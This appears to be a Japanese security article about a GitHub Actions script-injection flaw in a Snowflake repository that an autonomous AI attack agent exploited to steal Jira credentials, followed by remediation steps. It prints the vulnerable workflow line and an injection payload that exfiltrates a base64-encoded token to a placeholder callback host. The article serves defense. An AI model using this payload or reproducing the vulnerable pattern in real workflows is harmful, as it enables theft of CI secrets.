GitHub CopilotのAIレビューをすり抜けた脆弱性でSnowflake社内Jira侵害｜Wiz Red Agentの自律攻撃と対策【2026年8月】

2026年6月、Snowflakeの公開リポジトリにあったGitHub Actionsの設定不備を、クラウドセキュリティ企業Wizの自律型攻撃AI「Wiz Red Agent」が人間の介入なしに発見し、そのまま悪用して社内Jiraの認証情報を持ち出しました。ただし「GitHub Copilotがその脆弱性を作った」という初報についてはGitHubが公式に否定しており、現時点で確実に言えるのはAIによるコードレビューと自動スキャンがこの穴を見逃したという事実です。

この記事でわかることは次の通りです。

• 何が起きたのか（タイムラインと被害範囲の確定情報）
• なぜIssueのタイトルを書くだけでコマンドが実行できたのか（技術解説）
• 「Copilotが原因」論争について、Wiz・GitHub・コミット履歴の三者がそれぞれ何と言っているか
• GitHubのCodeQL／Copilot Autofixがなぜ検知できなかったのか（公式ドキュメントに書かれている制約）
• 自社のGitHubリポジトリが同じ穴を持っていないか点検する具体的な手順とコマンド

OSSを公開している企業の開発者・SRE・セキュリティ担当者、そしてAIコーディング支援ツールを組織導入している／導入を検討している方に向けた内容です。

確実に言えること・まだ確定していないこと

この事案は英語圏メディアで「AIがコードを壊し、別のAIがそれを突いた」と見出しになりましたが、報道内容には訂正が入っており、事実関係を分けて理解する必要があります。

つまり、この事案から学ぶべきは「Copilotが危険」ではなく、AIによるコードレビューを最終防衛線に置いてはいけないという運用上の教訓です。

何が起きたのか｜Snowflake公開リポジトリ侵害の全体像

出典: Snowflake公式サイト

2026年6月18日から23日までのわずか5日間、Snowflakeの公開リポジトリ snowflakedb/snowflake-connector-net は、誰でも特定の文字列を含むタイトルのGitHub Issueを立てるだけで、CIランナー上で任意のコマンドを実行できる状態でした。

対象となったのは .github/workflows/jira_issue.yml。GitHubのIssueが立てられた際に、自動で社内Jiraにチケットを起票するためのワークフローです。このワークフローはJira連携用のシークレット（JIRA_API_TOKEN / JIRA_USER_EMAIL / JIRA_BASE_URL）を環境に持っていたため、コマンド実行が成立した時点で認証情報がそのまま持ち出せる構造になっていました。

重要なのは、これは配布されるライブラリ本体の脆弱性ではないという点です。影響を受けるコネクタのリリースバージョンは特定されておらず、問題はあくまでCI/CD設定側にありました。snowflake-connector-netを利用しているアプリケーションが直接危険にさらされたわけではありません。

タイムライン

露出期間は約5日間。本番化から発見・悪用までの時間はわずか5日という点が、この事案がセキュリティ業界で注目された最大の理由です。

技術解説｜なぜIssueのタイトルだけでコマンドが実行できたのか

出典: GitHub Docs - Security hardening for GitHub Actions

原因はGitHub Actionsのテンプレート展開の順序にあります。GitHub Actionsの ${{ }} 式は、シェルがコマンドを解釈する前段階で、YAMLに文字列としてそのまま埋め込まれます。つまり攻撃者が入力した文字列が「データ」ではなく「コードの一部」として扱われてしまうのです。

脆弱だったコード

Wizが公開した該当行は次の通りです（既に修正済み）。

run: TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")

一見すると sed でクォートをエスケープしているため安全に見えます。しかし、sed が動くのはシェルが起動した後であり、${{ github.event.issue.title }} の展開はその前に完了しています。Issueのタイトルにシングルクォートを1つ入れるだけで echo '...' の文字列リテラルから抜け出し、後続に任意のシェルコマンドを連結できました。

エスケープ処理があること自体が「対策済み」に見えてしまう点が、レビューをすり抜けた一因と考えられます。

二重の設計ミス｜if: ガードが常にtrueだった

さらに、このワークフローには実行条件のガードが付いていましたが、これが機能していませんでした。

if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')

issuesイベントでは github.event.pull_request は常にnullです。GitHub Actionsの式は存在しないプロパティを空文字に暗黙変換するため、条件は ('' != 'whitesource-...') に縮退し、常にtrueになります。「特定のBot以外を弾く」意図で書かれたガードが、結果として全GitHubユーザーに実行を許す設定になっていました。

これは静的解析が構造的に苦手な、いわゆるフェイルオープン（安全側ではなく危険側に倒れる失敗）の典型例です。存在しないプロパティが静かに空文字になる仕様は、Hacker Newsの議論でもGitHub Actions自体の設計課題として批判されました。

Red Agentの攻撃プロセス｜失敗して、自分で直した

Wizのブログで印象的なのは、AIが一度失敗してから自力で修正した点です。

1. 最初のペイロードは # で以降をコメントアウトする方式だったが、TITLE=$(...) の閉じ括弧まで無効化してしまい、bashのEOFエラーで失敗
2. エージェントがエラー出力を自己分析し、; echo ' でシェルの文字列ブロックを正しく閉じ直す方式に書き換え
3. 成功。外部へのコールバックで秘密情報をbase64化して送出

実際に使われたペイロードは、次のような構造でした（コールバック先ドメインは伏せています）。

' ; curl -s "https://<攻撃者のコールバック先>?t=`printf %s $JIRA_API_TOKEN|base64 -w0`" ; echo '

認証情報の窃取は数秒で完了しました。窃取したトークンは qa@snowflake.net として snowflakecomputing.atlassian.net に認証成功し、Wizはエンジニアリング・セキュリティコンプライアンス・バグバウンティ管理の各Jiraプロジェクトへ読み取りアクセスできることをスクリーンショットで実証しています。理論上のリスク指摘ではなく、実害到達地点まで検証した点がこのレポートの重みです。

修正後のコード

Snowflakeが同日適用した修正は、GitHub公式が推奨する中間環境変数パターンでした。

env:
  ISSUE_TITLE: ${{ github.event.issue.title }}
run: jq -n --arg title "$ISSUE_TITLE" ...

一度 env: に代入してから "$ISSUE_TITLE" として参照すれば、値はシェルにとって「データ」になり、コードとして解釈される余地がなくなります。皮肉なことに、Wizによればこの安全なパターンは元々このリポジトリに存在しており、リファクタの過程で失われていました。

AIコーディング支援全般のリスク整理は「AIコーディングのセキュリティリスク」でまとめています。

「Copilotが脆弱性を作った」のか｜三者の主張を整理

出典: GitHub Copilot公式ページ

この事案で最も慎重に扱うべき論点です。当事者の説明が食い違っており、初報から表現が変わっています。

この記事としての整理

• 「Copilotが脆弱性を作った」と断定できる証拠は、現時点で公開されていません。 GitHubが公式に否定しており、コミット履歴の外部検証も否定側に立っています。
• 一方で、AIによるコードレビューと自動スキャンがこの脆弱性を検知できなかったことは、Wiz・GitHub双方の説明から否定されていません。GitHub Advanced Securityは該当ファイルを解析対象として抽出しながら、インジェクションをフラグしませんでした。
• しかもGitHubは、このインジェクションのクラスを2025年7月時点で公式ドキュメント化し、run: 内での直接展開を避けて中間環境変数を使うよう推奨していました。既知パターンであるにもかかわらず自動検知網をすり抜けたことになります。

Hacker Newsの議論では「AI以前から存在するコードレビュー体制の失敗であって、AI固有の問題ではない」という指摘も多く出ました。この視点は正当です。ただし、AI支援によってコミット速度が上がり、レビュー負荷が増えている環境では、同種の見落としが起きる頻度は上がります。

Wiz Red Agentとは｜攻撃側AIの現在地

出典: Wiz公式サイト

Wiz Red Agentは、クラウドセキュリティ企業Wizが提供する自律的・継続的なオフェンシブテスターです。スクリプト化された定型攻撃ではなく、アプリケーションのロジックを推論して適応的に攻める点が従来のスキャナと異なります。

3つのモジュール

1. Web API Crawler — クライアントサイドコードの解析とAPI仕様のマッピングで、把握されていないシャドーAPIを発見する
2. API DAST Attacker — シグネチャ照合ではなく動的な挙動分析で、ロジック起因の脆弱性を検出する
3. Secrets Blast Radius — 漏洩したシークレットが実際に有効か、影響範囲はどこまでかを外部SaaSに対して検証する（今回のJiraアクセス実証がこれに該当）

プレビュー期間の実績（Wiz公式発表値）

• 検証済みの悪用可能なクリティカルリスクを10,000件以上検出
• 有効化した組織の70%が「まったく認識していなかったHigh/Critical脆弱性」を発見
• 35%が有効化から1時間以内に初のクリティカル脆弱性を検証
• ピーク時35万アセットをスキャンし、1日あたり4,800億トークンを処理

Wizのオフェンシブセキュリティ責任者Gal Nagli氏は「我々のAIが自律的に発見し、悪用した。人間が介入する必要はなかった。つまりフロンティアモデルはすでに自力でサプライチェーンリスクを悪用できるということだ」と述べています。攻撃側AIの能力向上という文脈は「GPT-5.5-Cyberとは」でも扱っています。

Wizが本件で強調したのが「発見ウィンドウの崩壊」という概念です。従来は脆弱性が公開されてから悪用されるまでに一定の猶予がありましたが、自動発見が数時間単位で起きるようになると、その前提が崩れます。今回は本番化からわずか5日で発見・悪用されました。

なぜGitHubの自動検知はすり抜けたのか｜公式ドキュメントが認める制約

出典: GitHub Advanced Security公式ページ

GitHubのCopilot Autofixは「CodeQLが出したアラートに対して、LLMで修正案を自動生成してPR上に提示する」機能です。ここに構造的な限界があります。CodeQLがアラートを出さなければ、Autofixは何もしません。検出の穴は、そのまま修正の穴になります。

さらにGitHub自身が公式ドキュメント「Responsible use of Copilot Autofix for code scanning」で、次の制約を明記しています。

GitHub自身が「開発者は各提案を評価し、コードベースの意図した挙動が保たれることを検証しなければならない」「CIテストの通過を確認せよ」「新たなアラートが出ていないか確認せよ」と明記しています。AIレビューの「問題なし」は保証ではなく、確率的な判定であるという前提を組織で共有しておく必要があります。

加えて、CodeQLとCopilot Autofixは主にアプリケーションコードを対象としており、CI/CDワークフローYAMLの設定不備は主戦場ではありません。今回のケースは、その守備範囲の境界に落ちた形と言えます。

Copilotの機能や料金体系そのものについては「GitHub Copilotとは」で整理しています。

AI生成コードのセキュリティ実態｜これは単発事故ではない

今回の事案を「珍しい事故」として片付けられないのは、AI支援開発の統計的な傾向と整合しているためです。

Veracode「2026 GenAI Code Security Report」（2026年7月28日公開）

注目すべきは、モデルは賢くなっているのに、セキュリティ合格率はほぼ横ばいという点です。コーディング特化モデルにしても安全性は上がっていません。また、インジェクション系でもSQLは83%と高いのに、XSSやログインジェクションは10%台と、脆弱性の種類によって成績が極端に割れます。今回のスクリプトインジェクションも「学習データに安全パターンが少ない領域」に該当します。

Apiiroのエンタープライズ実測（Fortune 50の数万リポジトリ／2024年12月〜2025年6月）

つまり「浅いバグは減り、深い欠陥は増える」という質的変化が起きています。今回のSnowflakeのケースはまさにこの形で、sed によるエスケープという浅い対策は残っているのに、テンプレート展開の順序という構造的な欠陥が入り込みました。人間のレビュアーも、エスケープ処理が書かれていると「対策済み」と読み流しやすくなります。

レビューを省略してAI生成コードをマージする開発スタイルのリスクは「バイブコーディングとは」でも整理しています。

自分のリポジトリを点検する手順

同じ穴が自社にないかは、数分で確認できます。GitHub Actionsを使っている組織は、まずここから着手してください。

手順1｜危険なテンプレート展開を検索する

ローカルにクローンしたリポジトリで、run: の中にコンテキスト式が直接埋め込まれていないか確認します。

grep -rn '\\${{ *github\\.event\\.' .github/workflows/

ヒットした行のうち、run: ブロック内にあるもの、あるいは run: に渡される文字列を組み立てているものが要注意です。env: セクションでの代入はこの段階では問題ありません。

手順2｜信頼できない入力かどうかを判定する

攻撃者が自由に値を書けるコンテキストプロパティは限られています。以下は代表例です。

これらを run: に直接展開していれば、公開リポジトリなら第三者が、非公開リポジトリでも組織内の誰かが任意コマンドを実行できる可能性があります。

手順3｜危険なコードを安全なコードに書き換える

# 危険：値がシェルスクリプトの一部として展開される
- run: echo "Issue title: ${{ github.event.issue.title }}"

# 安全：値は環境変数（データ）として渡る
- env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: echo "Issue title: $ISSUE_TITLE"

GitHub公式が最も推奨しているのは、そもそもインラインスクリプトを使わず、JavaScript Actionに値を引数として渡す方法です。値がスクリプト生成に一切関与しないため、インジェクションが原理的に成立しません。

手順4｜if: ガードのフェイルオープンを疑う

if: 条件の中で、そのイベントでは存在しないプロパティを参照していないか確認します。issues イベントで github.event.pull_request.* を参照する、push イベントで github.event.issue.* を参照する、といった組み合わせは常にtrue／常にfalseに縮退します。条件式を変更したら、実際にイベントを発火させて意図通り弾かれるかテストしてください。

手順5｜静的解析ツールを導入する

手作業のgrepより確実です。いずれもOSSで無料です。

# zizmor（uv/pipxで導入）
uvx zizmor .github/workflows/

# actionlint（Homebrewの場合）
brew install actionlint && actionlint

CIに組み込み、Pull Requestの必須チェックにしておくのが最も効果的です。GitHub ActionsとAIツールを組み合わせた運用設計は「Claude CodeとGitHub Actionsの連携」も参考になります。

組織として取るべき対策｜AIレビューを最終防衛線にしない

リポジトリ単位の修正に加えて、運用ルールの側で押さえるべき点を整理します。

1. GITHUB_TOKENとシークレットの最小権限化

ワークフロー全体にJiraトークンを配るのではなく、必要なジョブ・必要なステップでのみ権限を昇格させます。今回はワークフロー全体がJira認証情報を保持していたため、任意コマンド実行がそのままシークレット窃取につながりました。

また、シークレットをJSONやYAMLでまとめて1つの変数に格納するのは避けてください。GitHubのマスキングが値単位でしか効かず、ログに平文で出る可能性があります。

2. 短命クレデンシャルとOIDCへの移行

長期有効なAPIトークンをシークレットに置く構成は、一度漏れると失効までの間ずっと有効です。可能な範囲でOIDCによる一時認証情報の払い出しに移行し、静的トークンを減らします。Wizが指摘する「発見ウィンドウの崩壊」に対しては、漏れない設計より、漏れても短時間で無効になる設計のほうが現実的です。

3. pull_request_target / workflow_run の扱いを見直す

これらのイベントは特権コンテキストで動くため、信頼できないコードのチェックアウトと組み合わせると被害が跳ね上がります。フォークからのPRで秘密情報を扱う必要があるなら、ジョブを分離してください。

4. AI生成PRを人間のPRと同じ基準で審査する

Wizが総括で述べている通り、AIコーディングツールは確率的なパターン予測でコードを生成するため、非推奨・安全でないシェルパターンを意図せず再導入しうるという性質があります。「AIが書いたから雑でも通す」「AIレビューが通ったからOK」ではなく、AI生成PRこそ人間のコードと同じ静的解析とセキュリティ精査を通す運用が必要です。

具体的には次のルール設計が有効です。

• CI/CDワークフロー（.github/ 配下）の変更は、必ず人間のセキュリティレビューを必須にする（CODEOWNERSで指定）
• AIレビューの結果は「1次スクリーニング」として扱い、承認の根拠にしない
• リファクタPRでは、削除された行を重点的に見る（今回は安全なパターンがリファクタで失われた）

5. 監査ログとローテーション手順を事前に用意する

Snowflakeが「不正アクセスの証拠なし」と短期間で言い切れたのは、監査ログで露出期間中のアクセス元を追跡できたためです（ログ原本は非公開のため、外部からの独立検証はできていません）。インシデント発生時に「誰がいつアクセスしたか」を即座に出せるかどうかが、影響範囲確定のスピードを決めます。

自律エージェントを運用する際の権限設計全般は「AIエージェントのセキュリティ対策」でまとめています。

導入コストの目安｜有償ツールと無償ツールの使い分け

対策コストは、無償で始められる部分と有償製品の部分に分かれます。

2025年4月1日以降、GitHub Advanced Securityは「Secret Protection」と「Code Security」の2製品に分離されました。課金単位はactive committer（対象リポジトリにpushした開発者。90日のアクティビティウィンドウで算定）です。これらは公開リスト価格であり、Enterprise契約や地域によって変動します。

コスト効率の観点では、まずzizmor/actionlintの導入（無料）→ CI必須化 → 有償製品の追加という順序が合理的です。今回のケースは、無料のzizmorで検出できるパターンでした。

こんな組織は特に注意すべき

以下に当てはまる場合、同種のリスクを抱えている可能性が高く、優先的に点検すべきです。

• 公開リポジトリでGitHub Actionsを使っている — 第三者が誰でもIssueやPRを作成できるため、攻撃面が最大化される
• IssueやPRをトリガーに社内SaaS（Jira / Slack / Notion / 社内API）へ連携している — 連携用の認証情報がワークフロー環境に置かれているケースが多い
• AIコーディング支援ツールを組織導入していて、レビュー体制を変えていない — コミット量が3〜4倍になる一方でレビュー人員が同じなら、見落とし率は必然的に上がる
• CI/CD設定ファイルにレビュー必須ルールを設けていない — アプリケーションコードは厳格にレビューしているのに、.github/ 配下だけ緩い組織は多い
• 長期有効なAPIトークンをGitHub Secretsに置いている — 一度漏れると失効まで有効な状態が続く
• リファクタPRを「機能変更なし」として軽く承認している — 今回はリファクタで安全なパターンが失われた

過度に心配しなくてよいケース

一方で、今回の報道を見て必要以上に不安になる必要がない立場もあります。

• snowflake-connector-netを利用しているだけのアプリケーション開発者 — 配布されるライブラリ本体の脆弱性ではなく、Snowflake側のCI/CD設定の問題です。特定バージョンの回避も不要で、CVEも採番されていません
• Snowflakeをデータ基盤として利用している企業 — アクセスされたのはSnowflakeの社内Jiraの読み取りのみで、顧客データは対象外です。Snowflakeは「不正アクセスの証拠は確認されなかった」と発表しています
• GitHub Copilotを個人で利用している開発者 — 生成コードを自分でレビューしている限り、この事案がそのまま個人利用のリスクになるわけではありません
• GitHub Actionsで外部入力を一切扱っていないリポジトリ — schedule や workflow_dispatch のみで動き、Issue/PR/コメントをトリガーにしていなければ、今回の攻撃経路は成立しません

よくある質問

Q. GitHub Copilotを使っていると脆弱性が混入しやすくなりますか？

Copilot固有の問題として断定できるデータはありません。ただしVeracodeの調査では、モデル横断でAIコード生成タスクの約44%が脆弱性を混入しており、これはツールを問わない傾向です。重要なのは使用可否ではなく、生成されたコードを人間と静的解析の両方でチェックする体制があるかです。

Q. Snowflakeの顧客データは漏れましたか？

漏れていません。Wizがアクセスしたのは社内Jiraの読み取りのみで、Snowflakeは調査の結果「不正アクセスの証拠は確認されなかった」と公表しています。監査ログ上、露出期間中に該当エンドポイントへアクセスした第三者はWizのテスト用IPのみでした（監査ログ原本は非公開のため、外部からの独立検証はできていません）。

Q. CVE番号は割り当てられていますか？

2026年8月17日時点で未採番です。影響を受けるコネクタのリリースバージョンも特定されていません。CI/CD設定の問題であり、配布されるライブラリの脆弱性ではないためと考えられます。今後採番される可能性はあります。

Q. 非公開リポジトリなら安全ですか？

攻撃面は小さくなりますが、安全ではありません。組織内のメンバーや、外部コラボレーターがIssueを作成できる環境であれば、同じ経路で権限昇格が可能です。また、CI環境で実行されるコマンドは通常、開発者個人の権限を超えたシークレットにアクセスできます。

Q. AIによるコードレビューはやめるべきですか？

やめる必要はありません。CodeQLやCopilot Autofixは、人間が見落とす定型的な問題を大量に拾います。問題は「AIが問題なしと言ったから安全」という運用です。GitHub自身が非決定性やカバレッジの限界を公式に明記しており、AIレビューは1次スクリーニングとして扱うのが正しい位置づけです。

Q. Wiz Red Agentのような自律攻撃AIは誰でも使えるのですか？

Wiz Red Agent自体は2026年7月29日にGAとなった商用製品で、Wizプラットフォームの契約が前提です。ただし、Wizが実証したのは「フロンティアモデルが自力で脆弱性を発見・悪用できる」という事実であり、同等の能力は防御側だけの専有物ではありません。攻撃者側が同じ手法を使う前提で対策する必要があります。

Q. 脆弱性が本番化してから発見されるまでの猶予はどれくらいと考えるべきですか？

今回は5日でした。Wizは「発見ウィンドウの崩壊」として、自動発見が数時間単位で起きる時代になったと警告しています。「公開してから修正まで数週間」という従来の前提は、公開リポジトリに関しては成立しないと考えたほうが安全です。

まとめ

• Snowflakeの公開リポジトリのGitHub Actionsに、Issueタイトル経由で任意コマンドを実行できるスクリプトインジェクションが5日間存在した
• Wizの自律型攻撃AI「Red Agent」が人間の介入なしに発見・悪用し、社内Jiraの認証情報を窃取。実際にJiraへアクセスできることまで検証した
• 「Copilotが脆弱性を作った」という初報はGitHubが否定しており、コミット履歴の検証でも否定寄り。確実なのは、AIレビューと自動スキャンが見逃したこと
• 顧客データの流出はなく、実際の攻撃者による悪用も確認されていない。CVEも未採番
• 原因は run: 内でのテンプレート直接展開と、常にtrueに縮退する if: ガードという二重の設計ミス
• 対策は中間環境変数パターンへの書き換え、zizmor/actionlintの導入（無料）、シークレットの最小権限化と短命化、CI/CD設定変更への人間レビュー必須化

AIコーディング支援を使うこと自体は問題ではありません。AIレビューの「問題なし」を最終承認の根拠にしないことが、この事案から得られる最も実務的な教訓です。

関連するトピックは以下の記事でも扱っています。

• AIコーディングのセキュリティリスク — AI生成コードに潜むリスクの全体像
• AIエージェントのセキュリティ対策 — 自律エージェントの権限設計と運用ルール
• Flowise RCE脆弱性（CVE-2025-59528）まとめ — AIツール起因の実インシデント事例
• AIエージェントがデータを全削除した事故まとめ — 自律実行が招いた実害の事例集
• サイバーセキュリティ業界のAI活用事例 — 攻撃側・防御側双方でのAI活用状況
• GitHub Copilotとは — 機能・プラン・使い方の基本

主な参照元: Wiz Blog「Red Agent Exploits Snowflake Vuln Missed by Github Copilot」、GitHub Docs「Responsible use of Copilot Autofix for code scanning」「Secure use reference（GitHub Actions）」、GitHub Security Plans、The Register、Forbes、The Hacker News、Veracode「2026 GenAI Code Security Report」、Apiiro調査